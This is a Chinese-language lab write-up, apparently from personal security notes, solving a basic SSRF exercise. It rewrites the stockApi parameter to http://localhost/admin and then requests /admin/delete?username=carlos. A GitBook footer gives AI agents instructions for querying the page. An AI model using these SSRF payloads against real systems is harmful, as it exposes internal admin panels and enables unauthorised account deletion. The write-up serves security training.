> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/basic-ssrf-against-local-server.md).

# 针对本地服务器的基础 SSRF

### 针对本地服务器的基本 SSRF

此实验提供了一个库存校验功能，它会向内部服务发起请求。 / 目标是修改此检查所使用的 URL，以访问位于……上的管理界面 `HTTP://localhost/admin` 然后删除该用户 **carlos**.

#### **分析与利用**

该 **stockApi** 参数会向一个内部 URL 发送查询请求：

```bash
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1
```

通过拦截请求，可以将此 URL 替换为本地目标。 / 服务器正确处理了以下值：

```javascript
stockApi=http://localhost/admin
```

<figure><img src="/files/ece6c4ecd78ba78e8f96d3c0f1d71935a45657db" alt=""><figcaption></figcaption></figure>

这使得可以显示管理界面。

#### **删除用户**

在管理界面的 HTML 代码中，我们观察到用于删除用户的参数：

```
/admin/delete?username=carlos
```

<figure><img src="/files/7e3b8814dfac4186d05f4a1b39ca77b1cf1325a7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssrf/basic-ssrf-against-local-server.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
